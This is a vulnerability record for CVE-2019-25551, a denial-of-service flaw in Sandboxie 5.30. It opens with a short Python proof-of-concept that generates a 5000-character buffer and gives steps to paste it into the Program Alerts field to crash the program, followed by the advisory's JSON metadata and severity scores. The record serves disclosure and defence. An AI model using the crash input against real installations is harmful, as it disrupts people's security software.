CVE-2019-25551

# Proof of Concept for CVE-2019-25551 # This script generates a payload to crash Sandboxie via Program Alerts configuration. # Generate a buffer of 5000 characters buffer = "A" * 5000 # Instructions: # 1. Open Sandboxie. # 2. Navigate to Program Alerts configuration. # 3. Paste the generated buffer into the 'Select or enter a program' field. # 4. The application should crash. print(f"Generated payload length: {len(buffer)}") print("Payload:") print(buffer)

{"cve": {"id": "CVE-2019-25551", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:17.317", "lastModified": "2026-03-23T17:06:40.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandboxie 5.30 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Program Alerts configuration field. Attackers can paste a buffer of 5000 characters into the 'Select or enter a program' field during program alert configuration to trigger an application crash."}, {"lang": "es", "value": "Sandboxie 5.30 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al introducir una cadena excesivamente larga en el campo de configuración de Alertas de programa. Los atacantes pueden pegar un búfer de 5000 caracteres en el campo 'Seleccionar o introducir un programa' durante la configuración de la alerta de programa para provocar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1282"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sandboxie-plus:sandboxie:5.30:*:*:*:classic:*:*:*", "matchCriteriaId": "63139439-BCF1-455C-B7AB-DD8876C802E6"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46860", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.sandboxie.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/sandboxie-denial-of-service-via-program-alerts-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}